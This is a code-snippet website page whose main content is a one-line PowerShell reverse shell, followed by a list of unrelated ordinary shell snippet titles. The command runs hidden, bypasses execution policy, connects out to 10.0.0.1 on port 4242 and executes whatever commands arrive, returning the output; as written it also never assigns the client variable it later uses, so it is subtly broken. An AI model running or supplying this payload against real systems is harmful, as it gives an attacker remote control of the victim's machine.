Search
 
SCRIPT & CODE EXAMPLE
 

SHELL

powershell tcp reverse shell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Comment

PREVIOUS NEXT
Code Example
Shell :: commit and push 
Shell :: vim yank line 
Shell :: nvm change version 
Shell :: git to know committed files by author 
Shell :: git keep empty folder 
Shell :: ubuntu 22.04 server list services 
Shell :: how to instal git on mac 
Shell :: update branch with master 
Shell :: git hard reset origin 
Shell :: pull remote branch git 
Shell :: linux ubuntu how to install AppIndicator 
Shell :: git first time 
Shell :: kill proccess using serial port 
Shell :: MaatwebsiteExcel install laravel 
Shell :: use mock api 
Shell :: download istioctl 
Shell :: Git Error: OpenSSL SSL_connect: SSL_ERROR_SYSCALL in connection to github.com:443 
Shell :: redis ubuntu install 
Shell :: how to rename a file on cmd prompt to current date 
Shell :: install wordpress in windows 10 
Shell :: chown -R www-data:www-data 
Shell :: qemu-img convert vdi to qcow2 
Shell :: syntax error: unexpected end of file bash 
Shell :: install wget on redhat 
Shell :: update hour linux 
Shell :: command line make file 
Shell :: proxmox home assistant 
Shell :: How to squash the last n commits together 
Shell :: xrandr configure crtc 2 failed ubuntu 
Shell :: create .pem file from crt 
ADD CONTENT
Topic
Content
Source link
Name
2+7 =